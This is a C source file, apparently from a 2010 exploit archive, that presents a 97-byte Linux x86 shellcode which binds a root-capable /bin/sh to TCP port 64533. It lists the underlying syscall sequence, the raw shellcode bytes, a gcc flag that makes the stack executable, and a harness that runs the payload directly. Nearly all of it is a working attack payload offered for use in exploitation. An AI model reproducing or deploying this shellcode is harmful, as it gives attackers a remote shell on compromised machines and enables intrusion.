#include <stdio.h>
#include <string.h>

/*
1     ###############################################################  1
0     I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team  1
1     ###############################################################  0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

 by Magnefikko
 05.07.2010
 magnefikko@gmail.com
 Promhyl Studies :: http://promhyl.tk
 Subgroup: #PRekambr
 Name: 97 bytes bind sh@64533
 Platform: Linux x86
 
 sock = socket(PF_INET, SOCK_STREAM, 0);
 bind(sock, *[2, 64533, 0], 16);
 listen(sock, 5);
 nsock = accept(sock, 0, 0);
 dup2(nsock, 0);
 dup2(nsock, 1);
 execve("/bin/sh", 0, 0); // http://promhyl.tk/index.php?a=art&art=83

 gcc -Wl,-z,execstack filename.c

 shellcode:

\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80

*/

int main(){
 char shell[] =
"\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
 printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.tk\n\nstrlen(shell)
= %d\n", strlen(shell));
 (*(void (*)()) shell)();
}